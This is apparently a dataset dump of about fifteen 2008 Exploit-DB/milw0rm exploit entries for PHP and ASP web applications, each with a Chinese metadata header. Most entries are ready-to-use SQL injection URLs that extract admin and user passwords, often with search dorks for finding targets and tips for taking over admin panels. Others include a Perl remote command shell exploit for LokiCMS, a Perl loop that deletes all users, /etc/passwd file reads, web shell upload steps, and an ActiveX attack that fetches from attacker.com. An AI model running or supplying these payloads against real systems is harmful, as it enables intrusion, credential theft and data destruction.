QLWD/code_shield huggingface dataset:
标题: Dream4 Koobi 4.4/5.4 - gallery SQL Injection EDB-ID: 5415 CVE: 2008-6210 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-08 漏洞利用脚本: ##########################################
#
# Koobi v4.4,V5.4 gallery (img_id)
#
ONLY 4.4 AND 5.4

##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : allinurl: "index.php?p=gallerypic img_id"

###########################################
EXPLOiT 1:

index.php?p=gallerypic&img_id=-1+union+select+0,1,2,concat(email,0x3a,pass),4,5,6,7,8+from+koobi4_user

EXPLOiT 2:
index.php?p=gallerypic&img_id=-1+union+select+0,1,2,concat(email,0x3a,pass),4,5,6,7,8+from+koobi_user



admin login=admin/login.php

password under page

###########################################
------------------S@BUN-------------------#
###########################################
-----hackturkiye.hackturkiye@gmail.com----#
###########################################
--http://my.opera.com/SQL-Injection/blog/-#
###########################################

# milw0rm.com [2008-04-08] URL: https://www.exploit-db.com/exploits/5415
标题: Pligg CMS 9.9.0 - 'editlink.php' SQL Injection EDB-ID: 5406 CVE: 2008-1774 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-08 漏洞利用脚本: Hello,

the Pligg (http://www.pligg.com/) content management system is prone to 
an SQL-injection vulnerability because it fails to sufficiently sanitize 
user-supplied data before using it in an SQL query:


editlink.php?id=1+AND+((SELECT+user_pass+FROM+pligg_users+WHERE+user_login=0x676f64)+LIKE+0x25)+UNION+SELECT+10,2

To exploit this you need the id of a news you submitted(10 in the 
example) and an id of a news submitted by others(1 in the example).

When the LIKE statement matches you get a "Not your link" error.


Guido Landi

# milw0rm.com [2008-04-08] URL: https://www.exploit-db.com/exploits/5406
标题: Prediction Football 1.x - 'matchid' SQL Injection EDB-ID: 5410 CVE: 2008-1732 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-08 漏洞利用脚本: /*

                                       Prediction Football v 1.x Remote SQL INJECTION

Discovered by 0in from Dark-Coders Programming & Security Group.

!!!!!! > http://dark-coders.4rh.eu < !!!!!!

Contact: 0in(dot)email(at)gmail(dot)com

Greetz to all Dark-Coders Group Members: Die_Angel, Sun8hclf, M4r1usz, Djlinux, Aristo89

Script homepage: http://www.predictionfootball.com/

Description:  Prediction Football is a program that provides a web based administration 
config and automated prediction leagues. This program supports multiple languages. This 
script makes predictions simultaneously. This helps you to message other users and capable 
of multiple fixture creation. This requires web server with support for PHP4.0 or greater, 
MySQL database. Very easy to download and install the program and execute.

*/

Exploit:

http://target.domain/[path]/showpredictionsformatch.php?sid=dupa&matchid=-666/**/union/**/select/**/1,2,3,concat(0x757365723a,username),concat(0x7061737377643a,password),6,7/**/from/**/pluserdata/**/WHERE/**/userid=1/*  

userid=1 - admin user have that userid, you can change that to another user.

//EoFF

# milw0rm.com [2008-04-08] URL: https://www.exploit-db.com/exploits/5410
标题: SuperNET Shop 1.0 - SQL Injection EDB-ID: 5409 CVE: 2008-6204 类型: WEBAPPS 平台: ASP 发布日期: 2008-04-08 漏洞利用脚本: -_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_

SuperNET Shop v1.0  Remote SQL Ã„Â°njection Vulnerability

Discovered By : U238 (ugur238)


webpage : ugur238.org (the end)


mail : setuid.noexec0x1@hotmail.com

>From : Turkey - Erzincan


Script : http://www.aspindir.com/indir.asp?ID=2

Script (alternativ) : http://rapidshare.de/files/39062184/supershop.zip.html

-_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-

Exploit:

localhost:2222/lab/shop/secure/admin/guncelle.asp?id=1+union+select+0,KullaniciAdi,2,sifre,4,5,6,7,8,9+from+admin


Error File : guncelle.asp


Error Code : 

line - id = Request.QueryString("id")

line - SQL_L = "Select * from products WHERE id =" &id 


Admin Panel : target/secure/admin



-_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-_--_-

Admin Panel Bypass Exploit : 


Error File : 

giris.asp


Error Code : 

Sorgu="select * from admin where KullaniciAdi = '" & request.form("kulad") & "' and Sifre = '" & Request.form("sifre") & "'"
Rs.Open Sorgu, Baglanti, 1, 3

------------------------

secure/admin/default.asp  

username : 'or'

password : 'or'


Ye34h lets see you now admin panell ; ) 



*/ Greatz : The_BekiR  - ZeberuS  - ka0x - nettoxic - fahn - str0ke


MUSTAFA KEMAL ATATURK -  ATAM Ã„Â°ZÃ„Â°NDEYIZ 

                                                                    /*

# milw0rm.com [2008-04-08] URL: https://www.exploit-db.com/exploits/5409
标题: 724CMS 4.01 Enterprise - 'index.php' SQL Injection EDB-ID: 5400 CVE: 2008-1858 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-07 漏洞利用脚本: ###################################################################################
#            #
#           724CMS <= 4.01 Enterprise  - SQL Injection Vulnerability              #
#            #
#    found by:       Lidloses_Auge                #
#    Date:           07.04.2008         #
#    Greetz to:      free-hack.com        #
#            #
###############################################################################################################################################
#                       #
# Vulnerability:                     #
#                       #
#    Document:      index.php                    #
#    GET-Parameter: ID                            #
#                       #
# Dork:                       #
#                       #
#    724CMS + "Version 4.01"                                     #
#                       #
# Example:                      #
#                       #
#    http://[target]/index.php?ID=null+union+select+1,2,3,4,5,6,7,8,9,10,11,concat_ws(0x202d20,ID,User_Login,User_Password),13,14,       #
#    15,16,17,18,19,20,21,22,23,24,25,26,27,28+FROM+Users--                                     #
#                       #
# Notes:                      #
#                       #
#    The number of columns isn't always 28. In some cases it can be also about 37. Check before you try. Some of 'em are blind injections.    #
#                       #
###############################################################################################################################################

# milw0rm.com [2008-04-07] URL: https://www.exploit-db.com/exploits/5400
标题: My Gaming Ladder 7.5 - 'ladderid' SQL Injection EDB-ID: 5401 CVE: 2008-1791 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-07 漏洞利用脚本: --==+================================================================================+==--
--==+  My Gaming Ladder 7.5 AND Prior SQL Injection Vulnerbilitys      +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz
SITE: www.mygamingladder.com
DORK (altavista.com/googles): "Ladder Scripts by"


DESCRIPTION: 
pull admin/user info from the database


EXPLOITS:
ADMINS/STAFF: http://site.com/ladder.php?ladderid=1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,concat(0x3C666F6E7420636F6C6F723D22726564223E,id,char(58),pass,0x3C2F666F6E743E),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/staff/*

USERS: http://site.com/ladder.php?ladderid=1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,concat(0x3C666F6E7420636F6C6F723D22726564223E,alias,char(58),pass,0x3C2F666F6E743E),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/staff/*


NOTE/TIP: 
admin login is at "/adminhome.php"
passwords are in plaintext
once you have visited the injection, scroll down and you will see all user/passwords in RED text.

you must login to admincp with the admin ID this is the number next to the password.


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



--==+================================================================================+==--
--==+  My Gaming Ladder 7.5 AND Prior SQL Injection Vulnerbilitys      +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-07] URL: https://www.exploit-db.com/exploits/5401
标题: ChartDirector 4.1 - 'viewsource.php' File Disclosure EDB-ID: 5399 CVE: 2008-1782 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-07 漏洞利用脚本: ##############################################################################
# ChartDirector Ver 4.1 (viewsource.php) Remote File Disclosure Vulnerability
#
#  D Script : http://www.advsofteng.com/download.html
#
#
#  By : Stack-Terrorist [v40]
#  
#  POC :  http://site.com/chartdirector/phpdemo/viewsource.php?file=viewsource.php
#
#
##############################################################################
#  Greetz : Tryag-Team -JIKI Team GoLd_M [Mahmod_Ali] -H-T Team -RoMaNcYxHaCkEr -Str0ke
##############################################################################

# milw0rm.com [2008-04-07] URL: https://www.exploit-db.com/exploits/5399
标题: LokiCMS 0.3.3 - Remote Command Execution EDB-ID: 5408 CVE: 2008-1860 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-08 漏洞利用脚本: # Author: __GiReX__
# mySite: girex.altervista.org
# Date:  8/04/08

# CMS:   LokiCMS <= 0.3.3
# Site:  lokicms.com

# Bug:   PHP Code Injection
# Exploit: Remote Command Execution

# Vuln Code: admin.php

# if ($_GET['default'] != '') { // User want's to set the default page
#  writeconfig($c_password, $c_title, $c_header, $c_tagline, $c_footnote, stripslashes($_GET['default']), #  $c_theme, $c_language, $c_modrewrite, $c_simplelink, $c_code);

# Our bugged var $_GET['default'] is stripslashed so we don't need magic_quotes_gpc Off
# writeconfig() simply put text into Config.php

# This is a very bugged CMS, only most dengerous bug is here reported



#!/usr/bin/perl -w
# LokiCMS <= 0.3.3 Remote Command Execution Exploit
# Works with magic_quotes_gpc = On
# Coded by __GiReX__

use LWP::Simple;

if(not defined $ARGV[0])
{
     banner();
     print "[-] Usage: perl $0 [host] [path]\n";
     print "[-] Example: perl $0 localhost /lokicms/\n\n";
     exit;
}
 
my $host  =  $ARGV[0] =~ /^http:\/\// ?  $ARGV[0]:  'http://' . $ARGV[0];
   $host .=  $ARGV[1] unless not defined $ARGV[1];

banner();
get($host.'admin.php?default=\';passthru($_GET[\'cmd\']);//') or die '[-] Error requesting page: admin.php';

while(1)
{
     print "[+] Shell:~\$ ";
     chomp($cmd = <STDIN>);
     last if $cmd eq 'exit';
     last if is_error(getprint($host."includes/Config.php?cmd=${cmd}"));
     print $resp;
}

sub banner
{
     print "[+] LokiCMS <= 0.3.3 Remote Command Execution Exploit\n";
     print "[+] Coded by __GiReX__\n";
     print "\n";
}

# milw0rm.com [2008-04-08] URL: https://www.exploit-db.com/exploits/5408
标题: iScripts Socialware - 'id' SQL Injection EDB-ID: 5402 CVE: 2008-1859 2008-1790 2008-1772 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-07 漏洞利用脚本: --==+================================================================================+==--
--==+         iScripts SocialWare SQL Injection Vulnerbility              +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 8 April 2008
SITE: www.iscripts.com
DORK (altavista.com): "Powered by iScripts SocialWare" 


DESCRIPTION: 
pull admin/user info from database.


EXPLOITS:
www.site.com/events.php?action=show&id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(0x3c666f6e7420636f6c6f723d22726564223e,Username,char(58),Password,0x3c2f666f6e743e),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28/**/FROM/**/admin_users/*
www.site.com/events.php?action=show&id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(0x3c666f6e7420636f6c6f723d22726564223e,email,char(58),password,0x3c2f666f6e743e),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28/**/FROM/**/members/*


NOTE/TIP:
admin login is at /admin/
all passwords are in plaintext!

on some sites the admin login is stored in "theact_admin_users"

uploading shell:
to upload shell first use the 1st injection to get admin login credentials, then goto the admin login /admin/
login and in the left menu click "Manage Settings" in this page it gives you a option to select a new logo
but the extension isnt checked here, so we can upload php files, so select your php shell and hit "Save".

ok now goto site.com/images/ where site.com is the actual website. and look for your uploaded file/shell


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



--==+================================================================================+==--
--==+         iScripts SocialWare SQL Injection Vulnerbility              +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-07] URL: https://www.exploit-db.com/exploits/5402
标题: CDNetworks Nefficient Download - 'NeffyLauncher.dll' Code Execution EDB-ID: 5397 CVE: 2008-1886 2008-1885 类型: REMOTE 平台: WINDOWS 发布日期: 2008-04-07 漏洞利用脚本: Title: CDNetworks Nefficient Download(NeffyLauncher.dll) Vulnerabilities
Author: Simon Ryeo(bar4mi (at) gmail.com, barami (at) ahnlab.com)
Severity: High
Impact: Remote Code Execution
Vulnerable Systems: MS Windows Systems
Version: NeffyLauncher 1.0.5 {AA07EBD2-EBDD-4BD6-9F8F-114BD513492C}
Solution: Upgrade the vendor's patch
Vendor's Homepage: http://www.cdnetworks.com
Reference: How to stop an ActiveX control from running in Internet Explorer
          http://support.microsoft.com/kb/240797/ko
          http://support.microsoft.com/kb/240797/en-us
History:
  - 02.27.2008: Initiate notify
  - 03.06.2008: The vendor patched
  - After: The vendor are applying the patch to their customers.

Description:
Neffycient Download is a ActiveX control used to download and to upgrade
such as game install files through HTTP, FTP, etc. It has two
vulnerabilities.
1st, a attacker can copy a malicious file to any path such as start program
folder(C:\Documents and Settings\All Users\Start Menu\Programs\Startup).
2nd, a attacker can issue keycodes which are used to restrict execution on
other domains.

Object:
I notify this vulnerability not to promote abnormal uses but to make
a software more secure. This vulnerability was patched by the vendor's
positive effort. I hope this information helps many people who try
to study security and to develop an application.

1. Remote Code Execution
First of all, we must have write permission on a board in a web site used
this ActiveX or obtain a valid keycode which is correct to your site.
An Attacker who has a valid keycode can make a expolit by modifying
HttpSkin,
SkinPath's values. Malicious files which is on attacker's site must
be compressed as ZIP file.
For instance. The below modification copies abnormal files to Windows's
root directory.
<PARAM NAME="HttpSkin" VALUE="http://www.attacker.com/maliciousFiles.zip">
<PARAM NAME="SkinPath" VALUE="../../../../">

In this way an attacker can modify SkinPath's value to All Users's Start
Program Folder. Then he can execute his malicious program when the user
restarts his computer.

2. Generating a KeyCode Value
An attacker can make the keycode generator by debugging this ActiveX
control. A keycode's value has two meaning. First two digits represent
the domain's length(hexadecimal).
Next five(or more) digits are valuable numbers to calculate a domain.
The keycode check the procedure of this ActiveX control likes below.
It calculates the keycode's value and returns four bytes as a result.
Next it starts the domain's calculation and returns four bytes.
Finally, it compares with these four bytes to check whether the site is
valid.
I made a PoC using inline assembly and C. But it doesn't open to the public
because of the vendor's request. (Just refer above descriptions.)

# milw0rm.com [2008-04-07] URL: https://www.exploit-db.com/exploits/5397
标题: Mole 2.1.0 - 'viewsource.php' Remote File Disclosure EDB-ID: 5394 CVE: 2008-1857 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-07 漏洞利用脚本: #  Mole v2.1.0 (viewsource.php) Remote File Disclosure Vulnerability
#  Script : http://sourceforge.net/project/showfiles.php?group_id=164171
#  Vuln Code :
##############################################################################
#    <html>
#    <head>
#    <title>Mole: Template viewer</title>
#    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
#    </head>
#    <body>
#    
#    <?php
#    $dirn = $_REQUEST['dirn']; <--- XxX
#    $fname = $_REQUEST['fname']; <--- XxX
#    
#    
#    highlight_file($dirn.$fname); <--- XxX
#    ?>
#    
#    </body>
#    </html>
##############################################################################
#  POC :
#      /mole_2_1_0/viewsource.php?dirn=include/config.inc.php
#      /mole_2_1_0/viewsource.php?fname=include/config.inc.php
#      /mole_2_1_0/viewsource.php?dirn=../../../../../../../&fname=etc/passwd
##############################################################################
#  Greetz : Tryag-Team -JIKI Team -Stack-Terrorist [v40] -H-T Team -RoMaNcYxHaCkEr 
##############################################################################

# milw0rm.com [2008-04-07] URL: https://www.exploit-db.com/exploits/5394
标题: Prozilla Cheat Script 2.0 - 'id' SQL Injection EDB-ID: 5389 CVE: 2008-1863 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-06 漏洞利用脚本: --==+================================================================================+==--
--==+   Prozilla Cheat Script 2.0 SQL Injection Vulnerabilitys              +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 7 April 2008
Script Download: http://prozilla.net
DORK: N/A

Vendor Has Not Been Notified!


DESCRIPTION: 
Prozilla cheat script is vulnerable due to insecure mysql querys, the sql injection found below will
attempt to load the /etc/passwd file on most linux servers.



SQL Injection:
http://site.com/view_reviews.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,load_file('/etc/passwd'),4,5,6,7,8,9/*



NOTE/TIP: 
note that the mysql user running the script must have permissions to use mysql's load_file()


GREETZ: milw0rm.com, h4ck-y0u.org CipherCrew!



--==+================================================================================+==--
--==+   Prozilla Cheat Script 2.0 SQL Injection Vulnerabilitys              +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-06] URL: https://www.exploit-db.com/exploits/5389
标题: Prozilla Reviews Script 1.0 - Arbitrary Delete User EDB-ID: 5387 CVE: 2008-1783 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-06 漏洞利用脚本: --==+================================================================================+==--
--==+          Prozilla Reviews Script 1.0 Arbitrary Delete User Vulnerability      +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 7 April 2008
Script Download: http://prozilla.net
DORK: inurl:"view.php?ItemID=" rating "rate this review"

Vendor Has Not Been Notified!



DESCRIPTION:
Prozilla Reviews script suffers from bad session handling, and some crutial parts of the admin area
are not checked to see if the user is a admin or not.
the below url will delete a user from the database. 



Vulnerability:
http://site.com/siteadmin/DeleteUser.php?UserID=[uid]



NOTE/TIP:
replace [uid] with a actualy user id.

you can also code a little script to delete all users, example below.

#!/usr/bin/perl

use LWP::Simple;
$i=1;
while(1) {
 $c=get("http://site.com/siteadmin/DeleteUser.php?UserID=".$i);
 $i++;
}
#end


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



--==+================================================================================+==--
--==+          Prozilla Reviews Script 1.0 Arbitrary Delete User Vulnerability      +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-06] URL: https://www.exploit-db.com/exploits/5387
标题: Prozilla Forum Service - 'forum' SQL Injection EDB-ID: 5385 CVE: 2008-1789 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-06 漏洞利用脚本: --==+================================================================================+==--
--==+      Prozilla Forum Service SQL Injection Vulnerbilitys              +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 7 April 2008
Script Download: http://prozilla.com
DORK: N/A
Vendor Has Not Been Notified!



DESCRIPTION: 
Prozilla Forum Service is vulnerable due to a insecure mysql query, this allows the remote attacker
to pull user credentials from the database, and possibly load a shell using OUTFILE. and 
even read local files using load_file()



SQL Injection:
http://site.com/forum.php?forum=-1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(name,0x3a,password),3,4/**/FROM/**/users/*



NOTE/TIP: 
admin login is at /siteadmin/
admin login can be found in config.php which can be viewed by using load_file().



GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



--==+================================================================================+==--
--==+      Prozilla Forum Service SQL Injection Vulnerbilitys              +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-06] URL: https://www.exploit-db.com/exploits/5385
标题: Prozilla Freelancers - 'project' SQL Injection EDB-ID: 5390 CVE: 2008-1864 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-07 漏洞利用脚本: --==+================================================================================+==--
--==+       Prozilla Freelancers SQL Injection Vulnerabilitys              +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 7 April 2008
Script Download: http://prozilla.net
DORK: N/A

Vendor Has Not Been Notified!


DESCRIPTION: 
Prozilla freelancers is vulnerable due to a insecure mysql query.
this allows the remote attacker to pull admin/user credntials from database.
and possibly gain shell.


SQL Injection:
ADMIN: project.php?project=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,CONCAT(username,0x3a,password),11,12,13,14,15/**/FROM/**/admin/*
USERS: project.php?project=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,CONCAT(username,0x3a,password),11,12,13,14,15/**/FROM/**/users/**/LIMIT/**/0,1/*


NOTE/TIP: 
admin login is at /siteadmin/


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



--==+================================================================================+==--
--==+       Prozilla Freelancers SQL Injection Vulnerabilitys              +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-07] URL: https://www.exploit-db.com/exploits/5390
标题: Site Sift Listings - 'id' SQL Injection EDB-ID: 5383 CVE: 2008-1869 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-06 漏洞利用脚本: ##########################################
#
# powered by Site Sift scripts SQL Injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : powered by Site Sift
#
# DORK 2 : allinurl: "index php go addpage"
#
# DORK 2 : allinurl: "index.php?go=detail id="
#
###########################################
EXPLOiT 1:

index.php?go=detail&id=-99999/**/union/**/select/**/0,1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16/**/from/**/admin/*

EXPLOÄ°T 2:

index.php?go=detail&id=-99999/**/union/**/select/**/0,1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/**/from/**/admin/*


ADMiN LOGiN::admin/login.php

note: i hacked sex and porn sites :(( but not changed pass

###########################################
------------------S@BUN-------------------#
###########################################
-----hackturkiye.hackturkiye@gmail.com----#
###########################################
--http://my.opera.com/SQL-Injection/blog/-#
###########################################

# milw0rm.com [2008-04-06] URL: https://www.exploit-db.com/exploits/5383